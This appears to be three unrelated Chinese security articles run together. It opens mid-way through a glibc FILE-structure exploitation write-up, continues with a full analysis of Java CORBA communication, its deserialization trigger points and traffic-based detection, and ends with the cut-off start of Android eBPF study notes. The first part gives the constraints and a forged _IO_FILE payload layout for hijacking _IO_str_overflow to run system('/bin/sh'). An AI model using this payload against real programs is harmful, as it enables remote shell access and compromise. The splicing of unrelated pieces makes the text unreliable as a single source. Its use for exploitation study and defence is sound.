fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)
现在就开始考虑能够执行 `(char *) (*((_IO_strfile *) fp)->_s._allocate_buffer)
(new_size);`的约束条件了
1、fp->_flags & _IO_NO_WRITES false
2、((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) false
3、
pos = fp->_IO_write_ptr - fp->_IO_write_base;
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
pos >= (_IO_size_t) (_IO_blen (fp) + flush_only false
_IO_MAGIC 0xFBAD0000
_IO_NO_WRITES 8
_IO_TIED_PUT_GET 0x400
_IO_CURRENTLY_PUTTING 0x800
满足上面三个条件就能进入下面
flags:直接暴力 为 0；就好
fp->_IO_write_ptr - fp->_IO_write_base >= (fp)->_IO_buf_end - (fp)->_IO_buf_base
这个自己构造下就好
_IO_buf_base
_IO_buf_end
_IO_write_base
_IO_write_ptr
但如果用`(char *) (*((_IO_strfile *) fp)->_s._allocate_buffer)
(new_size)`来执行system(“/bin/sh”);
那new_size = “/bin/sh”的地址,那来看看 new_size是如何计算的，还有allocate_buff的位置
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
从上面能看出来`new_size` = 2*(fp)->_IO_buf_end – (fp)->_IO_buf_base +100
那 (fp)->_IO_buf_end – (fp)->_IO_buf_base = (new_size – 100 )/2
IO_buf_base 设置为零，这样会好算点。
：(bin_sh_addr – 100) /2 就是 _IO_buf_end
现在就缺 `_allocate_buffer`的偏移了，要计算这个就要涉及到结构体之间的转换，但偏移是一样的
最初传进来的 fp是
_IO_str_overflow (_IO_FILE *fp, int c)
然后在这里会转换成(char *) (*((_IO_strfile *) fp)
那就是 _IO_FILE 和 _IO_strfile的转换
_IO_FILE
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
_IO_strfile
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
struct _IO_streambuf //看道这个就想起了 _IO_FILE_plus
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
那 _IO_FILE_plus的vtable就在0xd8，然后0xe0下面就是 _allocate_buffer
lock要指向一个内存值为0的地方
payload：
rdi = bin/sh的地址
_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = (rdi-100)/2,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = (rdi-100)/2,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = [memery]=>0
vtable = _IO_str_overflow +8
rip =>system
参考：
[FILE_Exploit](https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/) | 社区文章 |
# Java CORBA
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Lucifaer@360CERT
在说到JNDI的时候，我们最常接触到的都是较为上层的JNDI
SPI（服务端提供的接口），除了常用的RMI、LDAP这些服务，还存在CORBA服务，这篇文章的重点就是来学习一下JNDI如何使用CORBA服务，并以尽量详尽的用例子来解释清楚如何使用CORBA的各个流程。
## 0x01 基础概念
这部分可能会较为枯燥，但是对后续理解有很大的帮助，我尽量用简单的话来描述清楚几个名词。
### 1.1 IDL与Java IDL
IDL全称（Interface Definition
Language）也就是接口定义语言，它主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口，从而实现了不同语言之间的通信，这样就保证了跨语言跨环境的远程对象调用。
在基于IDL构建的软件系统中就存在一个OMG IDL（对象管理组标准化接口定义语言），其用于CORBA中。
就如上文所说，IDL是与编程语言无关的一种规范化描述性语言，不同的编程语言为了将其转化成IDL，都制定了一套自用的编译器用于将可读取的OMG
IDL文件转换或映射成相应的接口或类型。Java IDL就是Java实现的这套编译器。
### 1.2 ORB与GIOP、IIOP
ORB全称（Object Request
Broker）对象请求代理。ORB是一个中间件，他在对象间建立一个CS关系，或者更简单点来说，就是一个代理。客户端可以很简单的通过这个媒介使用服务器对象的方法而不需要关注服务器对象是在同一台机器上还是通过远程网络调用的。ORB截获调用后负责找到一个对象以满足该请求。
GIOP全称（General Inter-ORB
Protocol）通用对象请求协议，其功能简单来说就是CORBA用来进行数据传输的协议。GIOP针对不同的通信层有不同的具体实现，而针对于TCP/IP层，其实现名为IIOP（Internet
Inter-ORB Protocol）。所以说通过TCP协议传输的GIOP数据可以称为IIOP。
而ORB与GIOP的关系是GIOP起初就是为了满足ORB间的通信的协议。所以也可以说ORB是CORBA通信的媒介。
## 0x02 CORBA
CORBA全称（Common ObjectRequest Broker
Architecture）也就是公共对象请求代理体系结构，是OMG（对象管理组织）制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信，曾是分布式计算的主流技术。
一般来说CORBA将其结构分为三部分，为了准确的表述，我将用其原本的英文名来进行表述：
* `naming service`
* `client side`
* `servant side`
这三部分组成了CORBA结构的基础三元素，而通信过程也是在这三方间完成的。我们知道CORBA是一个基于网络的架构，所以以上三者可以被部署在不同的位置。`servant
side`可以理解为一个接收`client side`请求的服务端；`naming service`对于`servant
side`来说用于服务方注册其提供的服务，对于`client side`来说客户端将从`naming
service`来获取服务方的信息。这个关系可以简单的理解成目录与章节具体内容的关系：
目录即为`naming service`，`servant
side`可以理解为具体的内容，内容需要首先在目录里面进行注册，这样当用户想要访问具体内容时只需要首先在目录中查找到具体内容所注册的引用（通常为页数），这样就可以利用这个引用快速的找到章节具体的内容。（相信对RMI有所理解的对这种关系不会陌生）
后面我将用一个具体的CORBA通信的demo来具体描述这这三者在通信间的关系。
### 2.1 建立一个CORBA Demo
在阐述CORBA通信前，首先先建立一个用于调试的demo，方便更加清楚的理解上面的概念，以及理清相关关系，之后会深入分析各部分的具体实现。
#### 2.1.1 编写IDL
CORBA使用IDL供用户描述其应用程序的接口，所以在编写具体实例前，我们需要使用IDL来描述应用的接口，然后通过Java自身提供的`idlj`编译器将其编译为Java类。
这里的IDL代码描述了一个module名为`HelloApp`中存在一个`Hello`接口，接口中有一个`sayHello()`方法。
#### 2.1.2 生成client side
这里直接使用`idlj`来生成`client side`的java类：
idlj -fclient Hello.idl
该命令会自动生成如下的文件：
其关系如下图所示：
其中：
* `HelloOperations`接口中定义了`Hello.idl`文件中所声明的`sayHello()`方法
* `Hello`继承于`HelloOperations`。
* `_HelloStub`实现了`Hello`接口，`client side`将使用该类以调用`servant side`的`Hello`接口的具体实现。
* `HelloHelper`包含帮助函数，用于处理通过网络传输的对象，例如数据编组与反编组的工作（或者说是编码与反编码的工作）。
* IDL有三种参数传递方式：in、out和inout。in类型的参数以及返回结果与Java的参数传递方式与结果返回方式完全相同。而out和inout两种类型的参数允许参数具有返回结果的能力，无法直接映射到Java语言的参数传递机制，所以IDL为out和inout参数提供了一个holder，也就是具体实例中的`HelloHolder`。
其中关键的两个类便是`_HelloStub`与`HelloHelper`。这里简单的叙述一下，后面会详细的分析这两个类中的具体逻辑。
首先看先`_HelloStub`或者直接称其为`Stub`:
这里先不看`readObject`及`writeObject`的部分，主要看一下其中实现的`sayHello()`方法。可以看到这里实现了`Hello`接口，而此处的`sayHello()`方法并非其具体的实现，具体的实现是保存在`serant
side`处的，这里的`sayHello()`方法更像一个远程调用真正`sayHello()`方法的“委托人”或者“代理”。
可以注意到关键的两个点是`_request()`及`_invoke()`，而`_request()`完成的流程就是从`naming
service`获取`servant side`的“引用”（简单来说就是`servant side`所注册的信息，便于`client
side`访问`servant side`以获取具体实现类），`_invoke()`完成的就是通过“引用”访问`servant side`以获取具体实现类。
之后我们看一下`HelloHelper`。在`HelloHelper`中有一个常用且重要的方法，那就是`narrow`：
代码很简单，其接受一个`org.omg.CORBA.Object`对象，返回其`Stub`这里可能现在比较难理解，简单看一下`narrow`的使用场景：
关键点时`ncRef.resolve_str()`，这里的`ncRef`是`ORB`（`naming
service`）返回的一个命名上下文，主要看`resolve_str()`的实现：
可以说基本上与`_HelloStub`的`sayHello()`方法一模一样。所以可以说这里是返回一个`Stub`来获取远程的具体实现类。
#### 2.1.3 生成servant side
同样也直接可以用`idlj`来生成：
idlj -fserver Hello.idl
注意到除了`HelloPOA`外，其余的两个接口是和`client side`是相同的。
在这里又要涉及到一个新的概念，那就是POA（Portable Object
Adapter）便携式对象适配器（翻译会有所误差），它是CORBA规范的一部分。这里的这个POA虚类是`servant
side`的框架类，它提供了方法帮助我们将具体实现对象注册到`naming service`上。
具体看一下其代码，截图中的代码是其主要的功能：
着重看红框所标注的代码，首先`POA`是`Operations`的实现，也是`org.orm.CORBA.portable.InvokeHandler`的实现，同时继承于`org.omg.PortableServer.Servant`，这保证了`POA`可以拦截`client
side`的请求。
`POA`首先定义了一个Hashtable用于存放`Operations`的方法名，当拦截到请求后会触发`_invoke`方法从Hashtable中以方法名作为索引获取`Operations`具体实现的相应方法，之后创建返回包，并通过网络将其写入`client
side`。
综上，我们可以总结一下`idlj`帮助我们所生成的所有类之间的关系:
从图中我们能看到这些类之间的关系，以及看到`client side`与`servant
side`间所共用的类。不过单单只是这些类是无法完成构成完整的通信的，还需要一些方法来实现一些具体的客户端和服务方法类。
#### 2.1.4 servant side具体实现
根据前面几个小结的叙述不难知道`servant side`需要有两个具体的实现类：
* `HelloOperations`的具体实现，需要具体的实现`sayHello()`方法。
* `servant side`的服务端实现，将具体实现的`HelloOperations`注册到`naming service`上
先来看第一个需要实现的类，通过上文我们知道我们具体实现`Operations`的类需要被注册到`naming
service`上，而`POA`作为一个适配器的工作就是帮助我们完成相应的工作以及完成相应请求的响应，所以这里只需要创建一个具体实现类`HelloImpl`继承于`POA`即可：
现在`servant side`的服务类关系及变成了：
现在我们实现了`_HelloStub`要获取的具体实现类`HelloImpl`，同时又有`HelloPOA`来处理网络请求（实际上是由ORB完成处理的），接下来就只需要实现一个服务来接收`client
side`的请求，并将结果返回给`client side`。
这里可以将服务端分为三部分。
第一部分就是激活`POAManager`。CORBA规范定义`POA`对象是需要利用`ORB`从`naming
service`中获取的，同时其在`naming
service`中的命名是`RootPOA`。所以如上图中第一个红框所示，就是初始化`ORB`，并利用`ORB`去访问`naming
service`获取`RootPOA`之后完成激活。
第二部分就是将具体实现类注册到`naming
service`中，具体实现如第二个红框所示。首先会实例化`HelloImpl`，然后通过`ORB`将其转换为`org.omg.CORBA.Object`，最后封装成一个`Stub`。之后从`naming
service`获取`NameService`并将其转换为命名上下文，将`HelloImpl`的别名Hello及其`Stub`绑定到命名上下文中，至此完成了具体注册流程。
第三部分就是将server设置为监听状态持续运行，用于拦截并处理`client side`的请求，返回相应的具体实现类。
#### 2.1.5 client side具体实现
通过`servant side`的实现应该可以看出`naming service`只是负责保存具体实例的一个“引用”，如果`client
side`想要真正的获取到具体实现类，就需要首先访问`naming
service`获取这个“引用”，然后访问服务端，之后通过POA的交互返回具体的实例。梳理清楚这一部分后`client side`的实现就呼之而出了:
首先和服务端一样，需要初始化`ORB`，通过`ORB`来获取`NameService`并将其转换成命名上下文。之后通过别名在命名上下文中获取其对应的`Stub`，调用`Stub`中的`sayhello()`方法，这个时候才会完成`client
side`向`servant side`发送请求，`POA`处理请求，并将具体实现的`HelloImpl`包装返回给`client side`。
这里有一个需要注意的，`helloImpl =
HelloHelper.narrow(ncRef.resolve_str(name))`返回的是一个`_HelloStub`而非真正的`HelloImpl`。只要理解清楚这一点，会避免很多误解。
#### 2.1.6 naming service的具体实现
ORBD可以理解为ORB的守护进程，其主要负责建立客户端(`client side`)与服务端(`servant
side`)的关系，同时负责查找指定的IOR(可互操作对象引用，是一种数据结构，是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务，其在整个CORBA通信中充当着`naming
service`的作用，可以通过一行命令进行启动：
$ orbd -ORBInitialPort 端口号 -ORBInitialHost url &(表示是否后台执行)
#### 2.1.7 执行
当设置并启动`naming
service`后，还需要在`server`和`client`中增添一些代码用来指定ORB在初始化的时候所访问的ORBD的地址，如：
之后完成编译并首先运行`server`保证将具体实现类绑定到`orbd`上，然后再运行`client`完成远程类加载：
至此就完成了CORBA demo的编写。
### 2.2 CORBA的通信过程及各部件之间的关系
根据2.1的叙述，我们大致知道了CORBA编写的流程，同时粗略的了解了CORBA的执行流，这一小节就来梳理一下其中的几种模型以及关系。
#### 2.2.1 CORBA通信过程
首先来看一下CORBA的整体通信过程：
1. 启动orbd作为`naming service`，会创建`name service`服务。
2. `corba server`向`orbd`发送请求获取`name service`，协商好通信格式。
3. `orbd`返回保存的`name service`。
4. `corba server`拿到`name service`后将具体的实现类绑定到`name service`上，这个时候`orbd`会拿到注册后的信息，这个信息就是IOR。
5. `corba client`向`orbd`发起请求获取`name service`。
6. `orbd`返回保存的`name service`。
7. `corba client`在`name service`中查找已经注册的信息获取到“引用”的信息(`corba server`的地址等)，通过`orb`的连接功能将远程方法调用的请求转发到`corba server`。
8. `corba server`通过`orb`接收请求，并利用`POA`拦截请求，将请求中所指定的类封装好，同样通过`orb`的连接功能返回给`corba client`。
#### 2.2.2 orb在通信中的作用
`orb`在通信中充当的角色可以用一张图来表明：
可以看到`orb`就是充当客户端与服务端通信的一个媒介，而因为处于不同端的`orb`在不同的阶段充当不同的角色，有的时候充当接收请求的服务端，有的时候充当发送请求的客户端，但是其本质一直都是同一个对象（相对于一端来说）。举个例子对于`corba
client`来说在与`corba server`进行通信的过程中，`corba
clint`的`orb`在发送请求的时候充当客户端，在接收返回的时候充当服务端，而`orb`从始至终都是其第一次从`orbd`获取的一个`orb`。对于这样具有通用性质的`orb`，称之为`common
ORB Architecture`也就是通用ORB体系。所以`CORBA`最简单的解释就是通用`orb`体系。
#### 2.2.3 Stub及POA的作用
`Stub`是`client side`调用`orb`的媒介，`POA`是`servant
side`用于拦截`client`请求的媒介，而两者在结构上其实都是客户端/服务端调用`orb`的媒介，可以用下面这个图来说明：
`orb`充当客户端与服务端通信的媒介，而客户端或服务端想要调用`orb`来发送/处理请求就需要`Stub`和`skeleton`，这两部分的具体实现就是`Stub`与`POA`。
`Stub`与`POA`分别充当客户端和服务器的代理，具体的流程如下（以2.1的demo为例）：
1. `client`发起调用：`sayHello()`
2. `Stub`封装`client`的调用请求并发送给`orbd`
3. `orbd`接受请求，根据`server`端的注册信息，分派给`server`端处理调用请求
4. `server`端的`orb`接收到请求调用`POA`完成对请求的处理，执行`sayHello()`，并将执行结果进行封装，传递给`orbd`
5. `orbd`接收到`server`端的返回后将其传递给`Stub`
6. `Stub`收到请求后，解析二进制流，提取`server`端的处理结果
7. `Stub`将经过处理后的最终结果返回给`client`调用者
## 0x03 CORBA流程具体分析
接下来将深入代码实现层对CORBA流程进行具体的分析，主要是从`client`端进行分析。
如2.1.5中所提及的，client端的实现大致分为两部分:
* 初始化`ORB`，通过`ORB`来获取`NameService`并将其转换成命名上下文。
* 获取并调用`Stub`中相应的方法，完成rpc流程。
可以发现client的大部分操作都是与`Stub`所关联的，所以我们需要首先深入的分析`Stub`的相关生成过程，才能理解后面的rpc流程。
### 3.1 Stub的生成
`Stub`有很多种生成方式，这里列举三种具有代表性的生成方式：
* 首先获取`NameServer`，后通过`resolve_str()`方法生成（`NameServer`生成方式）
* 使用`ORB.string_to_object`生成（`ORB`生成方式）
* 使用`javax.naming.InitialContext.lookup()`生成（JNDI生成方式）
而以上三种方法都可以总结成两步：
* 从`orbd`获取`NameService`，`NameService`中包含`IOR`。
* 根据`IOR`的信息完成rpc调用。
1. 通过`NameServer`生成方式：
Properties properties = new Properties();
properties.put("org.omg.CORBA.ORBInitialHost", "127.0.0.1");
properties.put("org.omg.CORBA.ORBInitialPort", "1050");
ORB orb = ORB.init(args, properties);
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
String name = "Hello";
helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));
2. 通过`ORB`生成方式：
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
Hello hello = HelloHelper.narrow(obj);
或
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050");
NamingContextExt ncRef = NamingContextExtHelper.narrow(obj);
Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));
3. 通过JNDI生成方式：
ORB orb = ORB.init(args, null);
Hashtable env = new Hashtable(5, 0.75f);
env.put("java.naming.corba.orb", orb);
Context ic = new InitialContext(env);
Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));
通过`NameServer`生成方式我们已经很熟悉了，接下来我们来着重看一下通过ORB的生成方式，其实和`Stub`反序列化处的处理是一样的：
关键点就是在`string_to_object()`方法上，跟进看一下，具体实现在`com.sun.corba.se.impl.orb.ORBImpl`：
在`operate`中会对出入的字符串进行协议匹配，这里支持三种协议：
* `IOR`
* `Corbaname`
* `Corbaloc`与`IOR`最终都会生成一个`Stub`
在这里`IOR`是在获取到`IOR`后生成`Stub`完成rpc调用的，而真正无需事先声明获取`NameService`过程，
**直接可以完成rpc调用的就只有`Corbaname`协议和`Corbaloc`协议了**。`Corbaname`与`Corbaloc`在实现上有相近点，具体体现在对url_str的解析以及处理流上。这里我们首先看一下`insURLHandler.parseURL()`对于url_str的解析流程：
可以看到`CorbanameURL`的生成过程就是将`corbaname:`到`#`这段内容提取出来重新填充到`corbaloc:`后，也就是说最终与`orbd`通信所利用的协议仍然是`Corbaloc`，之后将`#`后的内容作为`rootnaming
context`的引用名。
接下里我们看一下处理流当中的相似点：
可以看到都是通过`getIORUsingCorbaloc()`方法来从`orbd`获取IOR的。而在`resolveCorbaname`中又在后续增加了和`NamingService`相同的操作。所以通过这两部分能看出具体通信使用的是`Corbaloc`。
### 3.2 rpc流程
通过上面的分析，我们大致知道了生成`Stub`的几种方式，其中有非常重要的一个方法`resolve_str()`完成了具体的rpc流程，接下来将详细的分析一下流程。
`resolve_str()`在客户端的具体实现逻辑在`org.omg.CosNaming._NamingContextExtStub`：
在红框所示的这两行代码中完成了rpc调用及反序列化流程，其主要完成了根据IOR完成通信初始化、发送请求、接受请求、反序列化等流程，接下来将一个一个详细的说明。
#### 3.2.1 通信初始化
这一部分的功能实现在`_request()`方法中体现。通信初始化可以简单的表现在两个方面：
* `CorbaMessageMediator`初始化
* `OutputObject`初始化
具体跟进一下代码`_request()`的具体实现在`com.sun.corba.se.impl.protocol.CorbaDelegateImpl#request`：
这里可以看到首先设置了客户端调用信息，之后获取到`ClientRequestDispatcher`也就是客户端请求分派器并调用了`beginRequest()`方法，由于`beginRequest()`方法过于长，我将比较重要的代码直接截下来分析：
首先初始化拦截器，这里的拦截器主要负责拦截返回信息。
之后根据连接状态来确定是否需要新建`CorbaConnection`，由于是第一次进行通信，没有之前的链接缓存，所以需要创建`CorbaConnection`。在创建新链接后，就创建了`CorbaMessageMediator`，这是完成后续数据处理过程中重要的一环。
紧接着通过`CorbaMessageMediator`来创建`OutputObject`，这里其实创建的是一个`CDROutputObject`：
所以底层的数据是由`CDROutputObject`及`CDRInputObject`来处理的。这一点会在后面的反序列化中有所提及。
完成上述初始化过程后需要首先开启拦截器，以防止初始片段在消息初始化期间发送。
最后完成消息的初始化：
将序列化字符写入请求头中，完成消息的初始化，这里所调用的序列化是是`OutputStream`的原生序列化过程。
#### 3.2.2 发送并接收请求
发送并接收请求主要是在`_invoke()`方法中完成的：
首先获取到客户端请求分派器，之后调用`marshlingComplete()`方法完成具体的处理流程：
这里涉及到两个关键的处理流程`marshalingComplete1()`及`processResponse()`。
##### marshalingComplete1流程
首先先看一下`marshalingComplete1()`流程：
`finishSendingRequest()`中完成了请求的发送：
可以看到获取了连接信息，将`OutputObject`进行发送。
`waitForResponse()`完成了等待返回接收返回的功能：
通过标志位来判断是否已经接收到了请求，如果接收到请求则把序列化内容进行返回：
##### processResponse流程
`processResponse`的具体实行流程很长，但是关键的运行逻辑只是如下的代码：
这里的`handleDIIReply`是需要着重说明一下，其中`DII`的全名是`Dynamic Invocation
Interface`也就是动态调用接口，这是CORBA调用的一种方式，既可以用`Stub`方式调用，也可以通过`DII`方式调用。目前我们所需要知道的是`handleDIIReply`就是用于处理CORBA调用返回的方法就好：
这里会判断调用的请求是否是`DII`请求，如果是，则会对返回结果及参数进行处理，触发反序列化流程，
**这一点属于`client`端的反序列化利用手法，后面会有文章进行总结，**目前只是将这一个关键单抛出来详细的说一下流程。
这里的`switch
case`就是判断我们前面所提过的IDL的三种参数传递方式，当参数传递方式为`out`和`inout`时将会调用`Any.read_value`方法：
在`TCUtility.unmarshalIn()`中有一个很长的`switch case`，会根据类型来将调用分发到不同的处理方法中，其中有两个链路：
以`read_value()`来举例：
可以看到`read_value()`在选择具体实现的时候是有分支选项的，这其实都可以通过构造来进行指定，这里我们只看`IDLJavaSerializationInputStream`：
会直接触发JDK原生反序列化。
也就是只要在`server`端精心构造打包结果，当`client`端发起`DII`的rpc请求处理请求返回时会触发JDK原生的反序列化流程。
#### 3.2.3 反序列化流程
反序列化触发在`org.omg.CORBA.ObjectHelper#read()`方法中，最终是调用`CDRInputStream_1_0#read_Object`来处理，这里我只截关键点：
`createStubFactory()`会指定class的加载地址为提取出来的`codebase`：
可以看到具体的远程调用逻辑还是使用的RMI完成的。当完成远程类加载后便初始化`StubFactoryStaticImpl`：
这里会设定`stubClass`，后面会使用使用`makeStub()`方法完成实例化。
在完成了远程类加载后，就需要将远程的类变为常规的本地类，这一部分的工作是由`internalIORToObject()`方法完成的：
红框所示的两处最终的逻辑都一样，都是`stubFactory.makeStub()`:
我们在`createStubFactory()`中已经将完成远程类加载的类置为`stub`，在`makeStub()`方法中则完成将其进行实例化的操作，至此便完成了全部的rpc流程。
### 3.3 小结
通过上文对代码的跟踪，不难看出三端都是通过序列化数据来进行沟通的，都是`CDROutputObject`与`CDRInputObject`的具体实现。所以说`CDROutputObject`与`CDRInputObject`是CORBA数据的底层处理类，当在实际序列化/反序列化数据时，具体的处理流程大致可分为两类：
* `CDROutputStream_x_x`/`CDRInputStream_x_x`
* `IDLJavaSerializationOutputStream`/`IDLJavaSerializationInputStream`
这里可以将这两类简述为：
* CDR打/解包流程
* JDK serial 序列化/反序列化流程
可以看到只有在JDK serial流程中，才会触发CORBA的反序列化流程。CDR更多是用于完成rpc流程。
无论是在接收或者发送的流程中，我们都可以看到本质上都是底层数据（`CDROutputObject`或`CDRInputObject`）->`CorbaMessageMediator`的处理过程，具体的发送与接收请求都是通过`CorbaMessageMediator`来管控与拦截的，所以想要具体分析CORBA通信过程中请求的发送与接收方式，只需要以`CorbaMessageMediator`为入手点即可。
无论`client
side`还是`servant`在接收请求时基本上都是通过`com.sun.corba.se.impl.transport.SocketOrChannelConnectionImpl#read`或`com.sun.corba.se.impl.transport.SocketOrChannelConnectionImpl#doWork`处理请求到`com.sun.corba.se.impl.transport.SocketOrChannelConnectionImpl#dispatch`，后续会因为message类型的不同而进入到不同的处理逻辑中。在选取处理逻辑时主要凭借2点：
* header信息决定的版本
* message信息决定的具体类型
## 0x04 CORBA网络通信分析
纵观整个CORBA的通信流程，不难看出大致分为3个部分：
* 与`orbd`通信获取`NamingService`
* `servant side`注册
* rpc通信
在具体的流量中也可以清楚的看到整个过程。（由于我是在本地做的测试，所以在流量中的源地址和目的地址都是127.0.0.1）
这里的2条流量展现了与`orbd`通信获取`NamingService`的流程：
这里着重看一下返回包:
可以看到返回了`RootPOA`，且将`NameService`指向`orbd`处的NC0文件。
在获取到`NamingService`后，在`servant side`注册前，有如下两端流量：
这段流量对应的代码是：
主要的作用是用于检查获取到的`NamingService`是否是`NamingContextExt`的实现。
实现注册的流量如下:
`op=to_name`对应的代码是：
可以简单的理解为设定引用名。
`op=rebind`对应的代码是：
这一部分就是通过GIOP传输的CORBA接口的一部分，Wireshark可以将其解码，并将其协议类型标注为`COSNAMING`，具体来看一下请求包：
这里在IOR中我们注意到指定了：
* `type_id`：用于指定本次（资料库或者说是引用）注册的id（实际上是接口类型，就是用于表示接口的唯一标识符），用于实现类型安全。
* `Profile_host`、`Profile_port`：`servant side`地址。
* `Profile ID`：指定了`profile_data`中的内容，例如这里的`TAG_INTERNET_IOP`所指定的就是`IIOP Profile`。
通过IOR信息表示了`servant side`的相关rpc信息。
在rpc流程中的关键流量就是rpc调用，这里不再赘述获取`NamingService`的流量，直接看远程调用流量：
这里涉及到3.2中所说到的发送和接受请求的流程，想要了解详情可以回看这一部分的内容。简单来说可以把这一部分理解成如下流程：
* 根据引用名获取`servant side`的接口`Stub`。
* 利用`Stub`中的代理方法二次发起请求，通过发送方法名在`servant side`调用具体的方法，`servant side`将方法的结果返回给`client side`完成rpc调用。
## 0x05 检测方式
由于CORBA的数据传递与传统的序列化传输方式不同，即在二进制流中没有`ac ed 00
05`的标识，所以单纯从流量的角度是很难识别的，只能从流量上下文中进行识别。
通常可以从这两个角度来进行判断：
* 请求ip是否为白名单中的ip
* 是否存在外部ip向`orbd`发送`COSNAMING`请求
以weblogic为例，正常的CORBA交互模型应为白名单（业务）ip向weblogic（codebase或中间件）发送rpc请求，完成远程类加载，同时白名单ip处应该有缓存机制以防止频繁向weblogic发送GIOP请求。而恶意攻击者在尝试进行攻击时可能产生如下的反常动作：
* 非白名单ip向weblogic发送GIOP请求
* 非白名单ip向weblogic发送`COSNAMING`请求
* 白名单ip但是非开发机ip向weblogic发送`COSNAMING`请求
第一点就不赘述了，第二点和第三点解释一下。通过0x04中对流量的分析，我们知道当一个`servant
side`尝试向`orbd`注册新的引用时会产生`COSNAMING`类型的流量，那么`COSNAMING`类型的流量就可以作为一个判别注册的标志，如果是非权限区域（非开发机或者内部云平台）的机器尝试进行注册一个新的引用的话，就有可能标明存在攻击尝试。
当然这并不是一种非常准确且高效的检测方式，但是由于CORBA的特殊性，除非上RASP或者在终端agent上加行为检测规则，想要单纯的通过镜像流量做到监测，是非常难的。
## 0x06 Reference
* <http://weinan.io/2017/05/03/corba-iiop.html>
* <https://docs.oracle.com/javase/7/docs/technotes/guides/rmi-iiop/tutorial.html#7738>
* <https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html>
* <https://www.omg.org/corba/faq.htm>
* <https://en.wikipedia.org/wiki/Common_Object_Request_Broker_Architecture> | 社区文章 |
# 在 Android 中开发 eBPF 程序学习总结（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
<https://paper.seebug.org/2003/>
最近在研究eBPF，做一下学习笔记。
## 起因
其实是想学习一下ecapture是怎么实现的，但是实际在我`xiaomi
10`手机上测试的过程中（已经有root权限）发现，并没办法运行，因为`ecapture`需要内核开启`CONFIG_DEBUG_INFO_BTF`，这个配置信息可以通过`/proc/config.gz`中来查看是否开启。
我的手机的内核版本是4.19，没有开启BTF，但是BPF是开启了的，接着我继续查看`ecapture`的文档，说如果内核没有开启`BTF`，需要使用`make
nocore`编译，在github上有提供直接编译好的`nocore`安卓版，但是测试还是运行不了。接着自己编译了一波，但是仍然失败，感觉可能得严格按文档所述，需要内核版本大于等于5.4。
那么我的手机就没办法运行BPF程序了吗？接着，就开启了我的研究。
## Android BPF demo
在网上搜相关的学习资料，BPF相关的资料本身就挺少的，再过滤一下只限制Android平台，就更少了。
而且大部分能搜到的中文资料，都是一堆废话，或者一堆ctrl+c,
ctrl+v的文章，实际有用的太少了。安卓官方的资料中也只有一个简单的demo，而且使用的是Android.bp进行编译的，还需要本地搭建AOSP环境。
### AOSP环境搭建
这破环境真是绝了，挂上daili，我装了一个晚上还没好（速度也有4Mb/s了）。然后第二天搜到了能换国内源，下面放一下我的搭建环境的命令：
$ apt-get install -y repo
$ export EPO_URL='https://gerrit-googlesource.proxy.ustclug.org/git-repo'
$ repo init -u git://mirrors.ustc.edu.cn/aosp/platform/manifest -b android-12.1.0_r26
